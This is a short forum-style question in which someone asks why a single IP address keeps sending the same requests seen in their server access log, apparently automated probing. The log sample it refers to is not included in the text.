This is a small sample from my access log. Can someone explain to me why this person would repeatedly attempt access to my computer using the same IP and the same requests over and over? This isn't to the point of being a DOS attack; can't they see I don't have any of these things that they think will enable them to crack my machine? Or is there something else going on here?
